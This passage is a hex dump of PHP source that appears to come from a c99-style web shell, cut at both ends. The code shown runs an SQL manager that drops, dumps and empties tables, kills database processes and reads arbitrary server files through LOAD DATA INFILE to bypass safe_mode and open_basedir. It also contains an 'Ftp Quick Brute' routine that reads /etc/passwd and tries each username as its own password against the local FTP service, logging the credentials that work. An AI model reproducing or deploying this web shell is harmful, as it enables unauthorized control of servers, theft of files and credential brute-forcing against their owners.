53696: 20206563686F20223C2F74723E223B0D0A2020202020202024692B2B3B0D0A20          echo "</tr>"; $i++;
53728: 20202020207D0D0A2020202020206563686F20223C7472206267636F6C6F723D          } echo "<tr bgcolor=
53760: 5C223030303030305C223E223B0D0A2020202020206563686F20223C74643E3C          \"      \">"; echo "<td><
53792: 63656E7465723E3C623E2B3C2F623E3C2F63656E7465723E3C2F74643E223B0D          center><b>+</b></center></td>";
53824: 0A2020202020206563686F20223C74643E3C63656E7465723E3C623E222E2469          echo "<td><center><b>".$i
53856: 2E22207461626C652873293C2F623E3C2F63656E7465723E3C2F74643E223B0D          ." table(s)</b></center></td>";
53888: 0A2020202020206563686F20223C74643E3C623E222E2474726F77732E223C2F          echo "<td><b>".$trows."</
53920: 623E3C2F74643E223B0D0A2020202020206563686F20223C74643E222E24726F          b></td>"; echo "<td>".$ro
53952: 775B315D2E223C2F74643E223B0D0A2020202020206563686F20223C74643E22          w[1]."</td>"; echo "<td>"
53984: 2E24726F775B31305D2E223C2F74643E223B0D0A2020202020206563686F2022          .$row[1 ]."</td>"; echo "
54016: 3C74643E222E24726F775B31315D2E223C2F74643E223B0D0A20202020202065          <td>".$row[11]."</td>"; e
54048: 63686F20223C74643E3C623E222E766965775F73697A6528247473697A65292E          cho "<td><b>".view_size($tsize).
54080: 223C2F623E3C2F74643E223B0D0A2020202020206563686F20223C74643E3C2F          "</b></td>"; echo "<td></
54112: 74643E223B0D0A2020202020206563686F20223C2F74723E223B0D0A20202020          td>"; echo "</tr>";
54144: 20206563686F20223C2F7461626C653E3C68722073697A653D5C22315C22206E          echo "</table><hr size=\"1\" n
54176: 6F73686164653E3C7020616C69676E3D5C2272696768745C223E3C696D672073          oshade><p align=\"right\"><img s
54208: 72633D5C22222E247375726C2E226163743D696D6726696D673D6172726F775F          rc=\"".$surl."act=img&img=arrow_
54240: 6C74725C2220626F726465723D5C22305C223E3C73656C656374206E616D653D          ltr\" border=\" \"><select name=
54272: 5C2273716C5F6163745C223E223B0D0A2020202020206563686F20223C6F7074          \"sql_act\">"; echo "<opt
54304: 696F6E2076616C75653D5C225C223E576974682073656C65637465643A3C2F6F          ion value=\"\">With selected:</o
54336: 7074696F6E3E223B0D0A2020202020206563686F20223C6F7074696F6E207661          ption>"; echo "<option va
54368: 6C75653D5C2274626C64726F705C223E44726F703C2F6F7074696F6E3E223B0D          lue=\"tbldrop\">Drop</option>";
54400: 0A2020202020206563686F20223C6F7074696F6E2076616C75653D5C2274626C          echo "<option value=\"tbl
54432: 656D7074795C223E456D7074793C2F6F7074696F6E3E223B0D0A202020202020          empty\">Empty</option>";
54464: 6563686F20223C6F7074696F6E2076616C75653D5C2274626C64756D705C223E          echo "<option value=\"tbldump\">
54496: 44756D703C2F6F7074696F6E3E223B0D0A2020202020206563686F20223C6F70          Dump</option>"; echo "<op
54528: 74696F6E2076616C75653D5C2274626C636865636B5C223E436865636B207461          tion value=\"tblcheck\">Check ta
54560: 626C653C2F6F7074696F6E3E223B0D0A2020202020206563686F20223C6F7074          ble</option>"; echo "<opt
54592: 696F6E2076616C75653D5C2274626C6F7074696D697A655C223E4F7074696D69          ion value=\"tbloptimize\">Optimi
54624: 7A65207461626C653C2F6F7074696F6E3E223B0D0A2020202020206563686F20          ze table</option>"; echo
54656: 223C6F7074696F6E2076616C75653D5C2274626C7265706169725C223E526570          "<option value=\"tblrepair\">Rep
54688: 616972207461626C653C2F6F7074696F6E3E223B0D0A2020202020206563686F          air table</option>"; echo
54720: 20223C6F7074696F6E2076616C75653D5C2274626C616E616C797A655C223E41          "<option value=\"tblanalyze\">A
54752: 6E616C797A65207461626C653C2F6F7074696F6E3E223B0D0A20202020202065          nalyze table</option>"; e
54784: 63686F20223C2F73656C6563743E266E6273703B3C696E70757420747970653D          cho "</select>&nbsp;<input type=
54816: 5C227375626D69745C222076616C75653D5C22436F6E6669726D5C223E3C2F66          \"submit\" value=\"Confirm\"></f
54848: 6F726D3E3C2F703E223B0D0A2020202020206D7973716C5F667265655F726573          orm></p>"; mysql_free_res
54880: 756C742824726573756C74293B0D0A20202020207D0D0A202020207D0D0A2020          ult($result); } }
54912: 207D0D0A2020207D0D0A20207D0D0A2020656C7365207B0D0A20202024616374          } } } else { $act
54944: 73203D2061727261792822222C226E65776462222C2273657276657273746174          s = array("","newdb","serverstat
54976: 7573222C2273657276657276617273222C2270726F636573736573222C226765          us","servervars","processes","ge
55008: 7466696C6522293B0D0A20202069662028696E5F6172726179282473716C5F61          tfile"); if (in_array($sql_a
55040: 63742C24616374732929207B3F3E3C7461626C6520626F726465723D22302220          ct,$acts)) {?><table border=" "
55072: 77696474683D223130302522206865696768743D2231223E3C74723E3C746420          width="1  %" height="1"><tr><td
55104: 77696474683D2233302522206865696768743D2231223E3C623E437265617465          width="3 %" height="1"><b>Create
55136: 206E65772044423A3C2F623E3C666F726D20616374696F6E3D223C3F70687020          new DB:</b><form action="<?php
55168: 6563686F20247375726C3B203F3E223E3C696E70757420747970653D22686964          echo $surl; ?>"><input type="hid
55200: 64656E22206E616D653D22616374222076616C75653D2273716C223E3C696E70          den" name="act" value="sql"><inp
55232: 757420747970653D2268696464656E22206E616D653D2273716C5F6163742220          ut type="hidden" name="sql_act"
55264: 76616C75653D226E65776462223E3C696E70757420747970653D226869646465          value="newdb"><input type="hidde
55296: 6E22206E616D653D2273716C5F6C6F67696E222076616C75653D223C3F706870          n" name="sql_login" value="<?php
55328: 206563686F2068746D6C7370656369616C6368617273282473716C5F6C6F6769          echo htmlspecialchars($sql_logi
55360: 6E293B203F3E223E3C696E70757420747970653D2268696464656E22206E616D          n); ?>"><input type="hidden" nam
55392: 653D2273716C5F706173737764222076616C75653D223C3F706870206563686F          e="sql_passwd" value="<?php echo
55424: 2068746D6C7370656369616C6368617273282473716C5F706173737764293B20          htmlspecialchars($sql_passwd);
55456: 3F3E223E3C696E70757420747970653D2268696464656E22206E616D653D2273          ?>"><input type="hidden" name="s
55488: 716C5F736572766572222076616C75653D223C3F706870206563686F2068746D          ql_server" value="<?php echo htm
55520: 6C7370656369616C6368617273282473716C5F736572766572293B203F3E223E          lspecialchars($sql_server); ?>">
55552: 3C696E70757420747970653D2268696464656E22206E616D653D2273716C5F70          <input type="hidden" name="sql_p
55584: 6F7274222076616C75653D223C3F706870206563686F2068746D6C7370656369          ort" value="<?php echo htmlspeci
55616: 616C6368617273282473716C5F706F7274293B203F3E223E3C696E7075742074          alchars($sql_port); ?>"><input t
55648: 7970653D227465787422206E616D653D2273716C5F6E65776462222073697A65          ype="text" name="sql_newdb" size
55680: 3D223230223E266E6273703B3C696E70757420747970653D227375626D697422          ="2 ">&nbsp;<input type="submit"
55712: 2076616C75653D22437265617465223E3C2F666F726D3E3C2F74643E3C746420          value="Create"></form></td><td
55744: 77696474683D2233302522206865696768743D2231223E3C623E566965772046          width="3 %" height="1"><b>View F
55776: 696C653A3C2F623E3C666F726D20616374696F6E3D223C3F706870206563686F          ile:</b><form action="<?php echo
55808: 20247375726C3B203F3E223E3C696E70757420747970653D2268696464656E22          $surl; ?>"><input type="hidden"
55840: 206E616D653D22616374222076616C75653D2273716C223E3C696E7075742074          name="act" value="sql"><input t
55872: 7970653D2268696464656E22206E616D653D2273716C5F616374222076616C75          ype="hidden" name="sql_act" valu
55904: 653D2267657466696C65223E3C696E70757420747970653D2268696464656E22          e="getfile"><input type="hidden"
55936: 206E616D653D2273716C5F6C6F67696E222076616C75653D223C3F7068702065          name="sql_login" value="<?php e
55968: 63686F2068746D6C7370656369616C6368617273282473716C5F6C6F67696E29          cho htmlspecialchars($sql_login)
56000: 3B203F3E223E3C696E70757420747970653D2268696464656E22206E616D653D          ; ?>"><input type="hidden" name=
56032: 2273716C5F706173737764222076616C75653D223C3F706870206563686F2068          "sql_passwd" value="<?php echo h
56064: 746D6C7370656369616C6368617273282473716C5F706173737764293B203F3E          tmlspecialchars($sql_passwd); ?>
56096: 223E3C696E70757420747970653D2268696464656E22206E616D653D2273716C          "><input type="hidden" name="sql
56128: 5F736572766572222076616C75653D223C3F706870206563686F2068746D6C73          _server" value="<?php echo htmls
56160: 70656369616C6368617273282473716C5F736572766572293B203F3E223E3C69          pecialchars($sql_server); ?>"><i
56192: 6E70757420747970653D2268696464656E22206E616D653D2273716C5F706F72          nput type="hidden" name="sql_por
56224: 74222076616C75653D223C3F706870206563686F2068746D6C7370656369616C          t" value="<?php echo htmlspecial
56256: 6368617273282473716C5F706F7274293B203F3E223E3C696E70757420747970          chars($sql_port); ?>"><input typ
56288: 653D227465787422206E616D653D2273716C5F67657466696C65222073697A65          e="text" name="sql_getfile" size
56320: 3D223330222076616C75653D223C3F706870206563686F2068746D6C73706563          ="3 " value="<?php echo htmlspec
56352: 69616C6368617273282473716C5F67657466696C65293B203F3E223E266E6273          ialchars($sql_getfile); ?>">&nbs
56384: 703B3C696E70757420747970653D227375626D6974222076616C75653D224765          p;<input type="submit" value="Ge
56416: 74223E3C2F666F726D3E3C2F74643E3C74642077696474683D22333025222068          t"></form></td><td width="3 %" h
56448: 65696768743D2231223E3C2F74643E3C2F74723E3C74723E3C74642077696474          eight="1"></td></tr><tr><td widt
56480: 683D2233302522206865696768743D2231223E3C2F74643E3C74642077696474          h="3 %" height="1"></td><td widt
56512: 683D2233302522206865696768743D2231223E3C2F74643E3C74642077696474          h="3 %" height="1"></td><td widt
56544: 683D2233302522206865696768743D2231223E3C2F74643E3C2F74723E3C2F74          h="3 %" height="1"></td></tr></t
56576: 61626C653E3C3F706870207D0D0A2020206966202821656D707479282473716C          able><?php } if (!empty($sql
56608: 5F6163742929207B0D0A202020206563686F20223C68722073697A653D5C2231          _act)) { echo "<hr size=\"1
56640: 5C22206E6F73686164653E223B0D0A20202020696620282473716C5F61637420          \" noshade>"; if ($sql_act
56672: 3D3D20226E657764622229207B0D0A20202020206563686F20223C623E223B0D          == "newdb") { echo "<b>";
56704: 0A202020202069662028286D7973716C5F6372656174655F646220282473716C          if ((mysql_create_db ($sql
56736: 5F6E65776462292920616E64202821656D707479282473716C5F6E6577646229          _newdb)) and (!empty($sql_newdb)
56768: 2929207B6563686F20224442205C22222E68746D6C7370656369616C63686172          )) {echo "DB \"".htmlspecialchar
56800: 73282473716C5F6E65776462292E225C2220686173206265656E206372656174          s($sql_newdb)."\" has been creat
56832: 656420776974682073756363657373213C2F623E3C62723E223B7D0D0A202020          ed with success!</b><br>";}
56864: 2020656C7365207B6563686F202243616E277420637265617465204442205C22          else {echo "Can't create DB \"
56896: 222E68746D6C7370656369616C6368617273282473716C5F6E65776462292E22          ".htmlspecialchars($sql_newdb)."
56928: 5C222E3C62723E526561736F6E3A3C2F623E20222E6D7973716C5F736D617274          \".<br>Reason:</b> ".mysql_smart
56960: 6572726F7228293B7D0D0A202020207D0D0A20202020696620282473716C5F61          error();} } if ($sql_a
56992: 6374203D3D20227365727665727374617475732229207B0D0A20202020202472          ct == "serverstatus") { $r
57024: 6573756C74203D206D7973716C5F7175657279282253484F5720535441545553          esult = mysql_query("SHOW STATUS
57056: 222C202473716C5F736F636B293B0D0A20202020206563686F20223C63656E74          ", $sql_sock); echo "<cent
57088: 65723E3C623E5365727665722D737461747573207661726961626C65733A3C2F          er><b>Server-status variables:</
57120: 623E3C62723E3C62723E223B0D0A20202020206563686F20223C5441424C4520          b><br><br>"; echo "<TABLE
57152: 63656C6C53706163696E673D302063656C6C50616464696E673D30206267636F          cellSpacing=  cellPadding=  bgco
57184: 6C6F723D2330303030303020626F72646572436F6C6F724C696768743D233333          lor=#       borderColorLight=#33
57216: 3333333320626F726465723D313E3C74643E3C623E4E616D653C2F623E3C2F74          3333 border=1><td><b>Name</b></t
57248: 643E3C74643E3C623E56616C75653C2F623E3C2F74643E3C2F74723E223B0D0A          d><td><b>Value</b></td></tr>";
57280: 20202020207768696C65202824726F77203D206D7973716C5F66657463685F61          while ($row = mysql_fetch_a
57312: 727261792824726573756C742C204D5953514C5F4E554D2929207B6563686F20          rray($result, MYSQL_NUM)) {echo
57344: 223C74723E3C74643E222E24726F775B305D2E223C2F74643E3C74643E222E24          "<tr><td>".$row[ ]."</td><td>".$
57376: 726F775B315D2E223C2F74643E3C2F74723E223B7D0D0A20202020206563686F          row[1]."</td></tr>";} echo
57408: 20223C2F7461626C653E3C2F63656E7465723E223B0D0A20202020206D797371          "</table></center>"; mysq
57440: 6C5F667265655F726573756C742824726573756C74293B0D0A202020207D0D0A          l_free_result($result); }
57472: 20202020696620282473716C5F616374203D3D20227365727665727661727322          if ($sql_act == "servervars"
57504: 29207B0D0A202020202024726573756C74203D206D7973716C5F717565727928          ) { $result = mysql_query(
57536: 2253484F57205641524941424C4553222C202473716C5F736F636B293B0D0A20          "SHOW VARIABLES", $sql_sock);
57568: 202020206563686F20223C63656E7465723E3C623E5365727665722076617269          echo "<center><b>Server vari
57600: 61626C65733A3C2F623E3C62723E3C62723E223B0D0A20202020206563686F20          ables:</b><br><br>"; echo
57632: 223C5441424C452063656C6C53706163696E673D302063656C6C50616464696E          "<TABLE cellSpacing=  cellPaddin
57664: 673D30206267636F6C6F723D2330303030303020626F72646572436F6C6F724C          g=  bgcolor=#       borderColorL
57696: 696768743D2333333333333320626F726465723D313E3C74643E3C623E4E616D          ight=#333333 border=1><td><b>Nam
57728: 653C2F623E3C2F74643E3C74643E3C623E56616C75653C2F623E3C2F74643E3C          e</b></td><td><b>Value</b></td><
57760: 2F74723E223B0D0A20202020207768696C65202824726F77203D206D7973716C          /tr>"; while ($row = mysql
57792: 5F66657463685F61727261792824726573756C742C204D5953514C5F4E554D29          _fetch_array($result, MYSQL_NUM)
57824: 29207B6563686F20223C74723E3C74643E222E24726F775B305D2E223C2F7464          ) {echo "<tr><td>".$row[ ]."</td
57856: 3E3C74643E222E24726F775B315D2E223C2F74643E3C2F74723E223B7D0D0A20          ><td>".$row[1]."</td></tr>";}
57888: 202020206563686F20223C2F7461626C653E223B0D0A20202020206D7973716C          echo "</table>"; mysql
57920: 5F667265655F726573756C742824726573756C74293B0D0A202020207D0D0A20          _free_result($result); }
57952: 202020696620282473716C5F616374203D3D202270726F636573736573222920          if ($sql_act == "processes")
57984: 7B0D0A20202020206966202821656D70747928246B696C6C2929207B0D0A2020          { if (!empty($kill)) {
58016: 2020202020247175657279203D20224B494C4C20222E246B696C6C2E223B223B          $query = "KILL ".$kill.";";
58048: 0D0A2020202020202024726573756C74203D206D7973716C5F71756572792824          $result = mysql_query($
58080: 71756572792C202473716C5F736F636B293B0D0A202020202020206563686F20          query, $sql_sock); echo
58112: 223C623E50726F636573732023222E246B696C6C2E2220776173206B696C6C65          "<b>Process #".$kill." was kille
58144: 642E3C2F623E223B0D0A20202020207D0D0A202020202024726573756C74203D          d.</b>"; } $result =
58176: 206D7973716C5F7175657279282253484F572050524F434553534C495354222C          mysql_query("SHOW PROCESSLIST",
58208: 202473716C5F736F636B293B0D0A20202020206563686F20223C63656E746572          $sql_sock); echo "<center
58240: 3E3C623E50726F6365737365733A3C2F623E3C62723E3C62723E223B0D0A2020          ><b>Processes:</b><br><br>";
58272: 2020206563686F20223C5441424C452063656C6C53706163696E673D30206365          echo "<TABLE cellSpacing=  ce
58304: 6C6C50616464696E673D3220626F72646572436F6C6F724C696768743D233333          llPadding=2 borderColorLight=#33
58336: 3333333320626F726465723D313E3C74643E3C623E49443C2F623E3C2F74643E          3333 border=1><td><b>ID</b></td>
58368: 3C74643E3C623E555345523C2F623E3C2F74643E3C74643E3C623E484F53543C          <td><b>USER</b></td><td><b>HOST<
58400: 2F623E3C2F74643E3C74643E3C623E44423C2F623E3C2F74643E3C74643E3C62          /b></td><td><b>DB</b></td><td><b
58432: 3E434F4D4D414E443C2F623E3C2F74643E3C74643E3C623E54494D453C2F623E          >COMMAND</b></td><td><b>TIME</b>
58464: 3C2F74643E3C74643E3C623E53544154453C2F623E3C2F74643E3C74643E3C62          </td><td><b>STATE</b></td><td><b
58496: 3E494E464F3C2F623E3C2F74643E3C74643E3C623E416374696F6E3C2F623E3C          >INFO</b></td><td><b>Action</b><
58528: 2F74643E3C2F74723E223B0D0A20202020207768696C65202824726F77203D20          /td></tr>"; while ($row =
58560: 6D7973716C5F66657463685F61727261792824726573756C742C204D5953514C          mysql_fetch_array($result, MYSQL
58592: 5F4E554D2929207B206563686F20223C74723E3C74643E222E24726F775B305D          _NUM)) { echo "<tr><td>".$row[ ]
58624: 2E223C2F74643E3C74643E222E24726F775B315D2E223C2F74643E3C74643E22          ."</td><td>".$row[1]."</td><td>"
58656: 2E24726F775B325D2E223C2F74643E3C74643E222E24726F775B335D2E223C2F          .$row[2]."</td><td>".$row[3]."</
58688: 74643E3C74643E222E24726F775B345D2E223C2F74643E3C74643E222E24726F          td><td>".$row[4]."</td><td>".$ro
58720: 775B355D2E223C2F74643E3C74643E222E24726F775B365D2E223C2F74643E3C          w[5]."</td><td>".$row[6]."</td><
58752: 74643E222E24726F775B375D2E223C2F74643E3C74643E3C6120687265663D5C          td>".$row[7]."</td><td><a href=\
58784: 22222E2473716C5F7375726C2E2273716C5F6163743D70726F63657373657326          "".$sql_surl."sql_act=processes&
58816: 6B696C6C3D222E24726F775B305D2E225C223E3C753E4B696C6C3C2F753E3C2F          kill=".$row[ ]."\"><u>Kill</u></
58848: 613E3C2F74643E3C2F74723E223B7D0D0A20202020206563686F20223C2F7461          a></td></tr>";} echo "</ta
58880: 626C653E223B0D0A20202020206D7973716C5F667265655F726573756C742824          ble>"; mysql_free_result($
58912: 726573756C74293B0D0A202020207D0D0A20202020696620282473716C5F6163          result); } if ($sql_ac
58944: 74203D3D202267657466696C6522290D0A202020207B0D0A202020202024746D          t == "getfile") { $tm
58976: 706462203D202473716C5F6C6F67696E2E225F746D706462223B0D0A20202020          pdb = $sql_login."_tmpdb";
59008: 202473656C656374203D206D7973716C5F73656C6563745F64622824746D7064          $select = mysql_select_db($tmpd
59040: 62293B0D0A202020202069662028212473656C65637429207B6D7973716C5F63          b); if (!$select) {mysql_c
59072: 72656174655F64622824746D706462293B202473656C656374203D206D797371          reate_db($tmpdb); $select = mysq
59104: 6C5F73656C6563745F64622824746D706462293B202463726561746564203D20          l_select_db($tmpdb); $created =
59136: 21212473656C6563743B7D0D0A2020202020696620282473656C656374290D0A          !!$select;} if ($select)
59168: 20202020207B0D0A2020202020202463726561746564203D2046414C53453B0D          { $created = FALSE;
59200: 0A2020202020206D7973716C5F71756572792822435245415445205441424C45          mysql_query("CREATE TABLE
59232: 2060746D705F66696C65602028206056696577696E67207468652066696C6520          `tmp_file` ( `Viewing the file
59264: 696E20736166655F6D6F64652B6F70656E5F6261736564697260204C4F4E4742          in safe_mode+open_basedir` LONGB
59296: 4C4F42204E4F54204E554C4C20293B22293B0D0A2020202020206D7973716C5F          LOB NOT NULL );"); mysql_
59328: 717565727928224C4F4144204441544120494E46494C45205C22222E61646473          query("LOAD DATA INFILE \"".adds
59360: 6C6173686573282473716C5F67657466696C65292E225C2220494E544F205441          lashes($sql_getfile)."\" INTO TA
59392: 424C4520746D705F66696C6522293B0D0A20202020202024726573756C74203D          BLE tmp_file"); $result =
59424: 206D7973716C5F7175657279282253454C454354202A2046524F4D20746D705F          mysql_query("SELECT * FROM tmp_
59456: 66696C653B22293B0D0A202020202020696620282124726573756C7429207B65          file;"); if (!$result) {e
59488: 63686F20223C623E4572726F7220696E2072656164696E672066696C65202870          cho "<b>Error in reading file (p
59520: 65726D6973696F6E2064656E69656429213C2F623E223B7D0D0A202020202020          ermision denied)!</b>";}
59552: 656C73650D0A2020202020207B0D0A20202020202020666F72202824693D303B          else { for ($i= ;
59584: 24693C6D7973716C5F6E756D5F6669656C64732824726573756C74293B24692B          $i<mysql_num_fields($result);$i+
59616: 2B29207B246E616D65203D206D7973716C5F6669656C645F6E616D6528247265          +) {$name = mysql_field_name($re
59648: 73756C742C2469293B7D0D0A202020202020202466203D2022223B0D0A202020          sult,$i);} $f = "";
59680: 202020207768696C65202824726F77203D206D7973716C5F66657463685F6172          while ($row = mysql_fetch_ar
59712: 7261792824726573756C742C204D5953514C5F4153534F432929207B2466202E          ray($result, MYSQL_ASSOC)) {$f .
59744: 3D206A6F696E2028225C725C6E222C24726F77293B7D0D0A2020202020202069          = join ("\r\n",$row);} i
59776: 662028656D7074792824662929207B6563686F20223C623E46696C65205C2222          f (empty($f)) {echo "<b>File \""
59808: 2E2473716C5F67657466696C652E225C2220646F6573206E6F74206578697374          .$sql_getfile."\" does not exist
59840: 73206F7220656D707479213C2F623E3C62723E223B7D0D0A2020202020202065          s or empty!</b><br>";} e
59872: 6C7365207B6563686F20223C623E46696C65205C22222E2473716C5F67657466          lse {echo "<b>File \"".$sql_getf
59904: 696C652E225C223A3C2F623E3C62723E222E6E6C3262722868746D6C73706563          ile."\":</b><br>".nl2br(htmlspec
59936: 69616C636861727328246629292E223C62723E223B7D0D0A202020202020206D          ialchars($f))."<br>";} m
59968: 7973716C5F667265655F726573756C742824726573756C74293B0D0A20202020          ysql_free_result($result);
60000: 2020206D7973716C5F7175657279282244524F50205441424C4520746D705F66          mysql_query("DROP TABLE tmp_f
60032: 696C653B22293B0D0A2020202020207D0D0A20202020207D0D0A20202020206D          ile;"); } } m
60064: 7973716C5F64726F705F64622824746D706462293B0D0A202020207D0D0A2020          ysql_drop_db($tmpdb); }
60096: 207D0D0A20207D0D0A7D0D0A6563686F20223C2F74643E3C2F74723E3C2F7461          } } } echo "</td></tr></ta
60128: 626C653E5C6E223B0D0A696620282473716C5F736F636B29207B0D0A20202461          ble>\n"; if ($sql_sock) { $a
60160: 66666563746564203D20406D7973716C5F61666665637465645F726F77732824          ffected = @mysql_affected_rows($
60192: 73716C5F736F636B293B0D0A202069662028282169735F6E756D657269632824          sql_sock); if ((!is_numeric($
60224: 61666665637465642929206F722028246166666563746564203C203029297B24          affected)) or ($affected <  )){$
60256: 6166666563746564203D20303B7D0D0A20206563686F20223C74723E3C74643E          affected =  ;} echo "<tr><td>
60288: 3C63656E7465723E3C623E416666656374656420726F7773203A20222E246166          <center><b>Affected rows : ".$af
60320: 6665637465642E223C2F63656E7465723E3C2F74643E3C2F74723E223B0D0A7D          fected."</center></td></tr>"; }
60352: 0D0A6563686F20223C2F7461626C653E5C6E223B0D0A7D0D0A2F2F456E64206F          echo "</table>\n"; } //End o
60384: 662053514C204D616E616765720D0A6966202824616374203D3D202266747071          f SQL Manager if ($act == "ftpq
60416: 7569636B62727574652229207B0D0A6563686F20223C63656E7465723E3C7461          uickbrute") { echo "<center><ta
60448: 626C653E3C74723E3C746420636C6173733D62617268656164657220636F6C73          ble><tr><td class=barheader cols
60480: 70616E3D323E223B0D0A6563686F20222E3A2046747020517569636B20427275          pan=2>"; echo ".: Ftp Quick Bru
60512: 7465203A2E3C2F74643E3C2F74723E223B0D0A6563686F20223C74723E3C7464          te :.</td></tr>"; echo "<tr><td
60544: 3E223B0D0A696620282477696E29207B206563686F202243616E27742072756E          >"; if ($win) { echo "Can't run
60576: 206F6E2057696E646F777321223B207D0D0A656C7365207B0D0A202066756E63          on Windows!"; } else { func
60608: 74696F6E20667832396674706272757465636865636B2824686F73742C24706F          tion fx29ftpbrutecheck($host,$po
60640: 72742C2474696D656F75742C246C6F67696E2C24706173732C2473682C246671          rt,$timeout,$login,$pass,$sh,$fq
60672: 625F6F6E6C7977697468736829207B0D0A2020202069662028246671625F6F6E          b_onlywithsh) { if ($fqb_on
60704: 6C7977697468736829207B2454525545203D202821696E5F6172726179282473          lywithsh) {$TRUE = (!in_array($s
60736: 682C617272617928222F62696E2F46414C5345222C222F7362696E2F6E6F6C6F          h,array("/bin/FALSE","/sbin/nolo
60768: 67696E222929293B7D0D0A20202020656C7365207B2454525545203D20545255          gin")));} else {$TRUE = TRU
60800: 453B7D0D0A2020202069662028245452554529207B0D0A20202020202024736F          E;} if ($TRUE) { $so
60832: 636B203D20406674705F636F6E6E6563742824686F73742C24706F72742C2474          ck = @ftp_connect($host,$port,$t
60864: 696D656F7574293B0D0A20202020202069662028406674705F6C6F67696E2824          imeout); if (@ftp_login($
60896: 736F636B2C246C6F67696E2C24706173732929207B0D0A202020202020202065          sock,$login,$pass)) { e
60928: 63686F20223C6120687265663D5C226674703A2F2F222E246C6F67696E2E223A          cho "<a href=\"ftp://".$login.":
60960: 222E24706173732E2240222E24686F73742E225C22207461726765743D5C225F          ".$pass."@".$host."\" target=\"_
60992: 626C616E6B5C223E3C623E436F6E6E656374656420746F20222E24686F73742E          blank\"><b>Connected to ".$host.
61024: 222077697468206C6F67696E205C22222E246C6F67696E2E225C2220616E6420          " with login \"".$login."\" and
61056: 70617373776F7264205C22222E24706173732E225C223C2F623E3C2F613E2E3C          password \"".$pass."\"</b></a>.<
61088: 62723E223B0D0A20202020202020206F625F666C75736828293B0D0A20202020          br>"; ob_flush();
61120: 2020202072657475726E20545255453B0D0A2020202020207D0D0A202020207D          return TRUE; } }
61152: 0D0A20207D0D0A20206966202821656D70747928247375626D69742929207B0D          } if (!empty($submit)) {
61184: 0A20202020696620282169735F6E756D6572696328246671625F6C656E676874          if (!is_numeric($fqb_lenght
61216: 2929207B246671625F6C656E676874203D20246E697870776470657270616765          )) {$fqb_lenght = $nixpwdperpage
61248: 3B7D0D0A20202020246670203D20666F70656E28222F6574632F706173737764          ;} $fp = fopen("/etc/passwd
61280: 222C227222293B0D0A20202020696620282124667029207B6563686F20224361          ","r"); if (!$fp) {echo "Ca
61312: 6E277420676574202F6574632F70617373776420666F722070617373776F7264          n't get /etc/passwd for password
61344: 2D6C6973742E223B7D0D0A20202020656C7365207B0D0A202020202020696620          -list.";} else { if
61376: 28246671625F6C6F6767696E6729207B0D0A2020202020202020696620282466          ($fqb_logging) { if ($f
61408: 71625F6C6F6766696C6529207B246671625F6C6F676670203D20666F70656E28          qb_logfile) {$fqb_logfp = fopen(
61440: 246671625F6C6F6766696C652C227722293B7D0D0A2020202020202020656C73          $fqb_logfile,"w");} els
61472: 65207B246671625F6C6F676670203D2046414C53453B7D0D0A20202020202020          e {$fqb_logfp = FALSE;}
61504: 20246671625F6C6F67203D202246545020517569636B2042727574652028222E          $fqb_log = "FTP Quick Brute (".
61536: 2473685F6E616D652E2229207374617274656420617420222E64617465282264          $sh_name.") started at ".date("d
61568: 2E6D2E5920483A693A7322292E225C725C6E5C725C6E223B0D0A202020202020          .m.Y H:i:s")."\r\n\r\n";
61600: 202069662028246671625F6C6F6766696C6529207B6677726974652824667162          if ($fqb_logfile) {fwrite($fqb
61632: 5F6C6F6766702C246671625F6C6F672C7374726C656E28246671625F6C6F6729          _logfp,$fqb_log,strlen($fqb_log)
61664: 293B7D0D0A2020202020207D0D0A2020202020206F625F666C75736828293B0D          );} } ob_flush();
61696: 0A2020202020202469203D202473756363657373203D20303B0D0A2020202020          $i = $success =  ;
61728: 2024667470717569636B5F7374203D206765746D6963726F74696D6528293B0D          $ftpquick_st = getmicrotime();
61760: 0A2020202020207768696C65282166656F66282466702929207B0D0A20202020          while(!feof($fp)) {
61792: 2020202024737472203D206578706C6F646528223A222C666765747328246670          $str = explode(":",fgets($fp
61824: 2C3230343829293B0D0A20202020202020206966202866783239667470627275          ,2 48)); if (fx29ftpbru
61856: 7465636865636B28226C6F63616C686F7374222C32312C312C247374725B305D          techeck("localhost",21,1,$str[ ]
61888: 2C247374725B305D2C247374725B365D2C246671625F6F6E6C79776974687368          ,$str[ ],$str[6],$fqb_onlywithsh
61920: 2929207B0D0A202020202020202020206563686F20223C623E436F6E6E656374          )) { echo "<b>Connect
61952: 656420746F20222E676574656E7628225345525645525F4E414D4522292E2220          ed to ".getenv("SERVER_NAME")."
61984: 77697468206C6F67696E205C22222E247374725B305D2E225C2220616E642070          with login \"".$str[ ]."\" and p
62016: 617373776F7264205C22222E247374725B305D2E225C223C2F623E3C62723E22          assword \"".$str[ ]."\"</b><br>"
62048: 3B0D0A20202020202020202020246671625F6C6F67202E3D2022436F6E6E6563          ; $fqb_log .= "Connec
62080: 74656420746F20222E676574656E7628225345525645525F4E414D4522292E22          ted to ".getenv("SERVER_NAME")."
62112: 2077697468206C6F67696E205C22222E247374725B305D2E225C2220616E6420          with login \"".$str[ ]."\" and
62144: 70617373776F7264205C22222E247374725B305D2E225C222C20617420222E64          password \"".$str[ ]."\", at ".d
62176: 6174652822642E6D2E5920483A693A7322292E225C725C6E223B0D0A20202020          ate("d.m.Y H:i:s")."\r\n";
62208: 20202020202069662028246671625F6C6F67667029207B667365656B28246671          if ($fqb_logfp) {fseek($fq
62240: 625F6C6F6766702C30293B2066777269746528246671625F6C6F6766702C2466          b_logfp, ); fwrite($fqb_logfp,$f
62272: 71625F6C6F672C7374726C656E28246671625F6C6F6729293B7D0D0A20202020          qb_log,strlen($fqb_log));}
62304: 20202020202024737563636573732B2B3B0D0A202020202020202020206F625F          $success++; ob_
62336: 666C75736828293B0D0A20202020202020207D0D0A2020202020202020696620          flush(); } if
62368: 282469203E20246671625F6C656E67687429207B627265616B3B7D0D0A202020          ($i > $fqb_lenght) {break;}
62400: 202020202024692B2B3B0D0A2020202020207D0D0A2020202020206966202824          $i++; } if ($
62432: 73756363657373203D3D203029207B6563686F20224E6F20737563636573732E          success ==  ) {echo "No success.
62464: 20636F6E6E656374696F6E7321223B20246671625F6C6F67202E3D20224E6F20          connections!"; $fqb_log .= "No
62496: 737563636573732E20636F6E6E656374696F6E73215C725C6E223B7D0D0A2020          success. connections!\r\n";}
62528: 2020202024667470717569636B5F74203D20726F756E64286765746D6963726F          $ftpquick_t = round(getmicro
62560: 74696D6528292D24667470717569636B5F73742C34293B0D0A20202020202065          time()-$ftpquick_st,4); e
62592: 63686F20223C68722073697A653D5C22315C22206E6F73686164653E3C623E44          cho "<hr size=\"1\" noshade><b>D
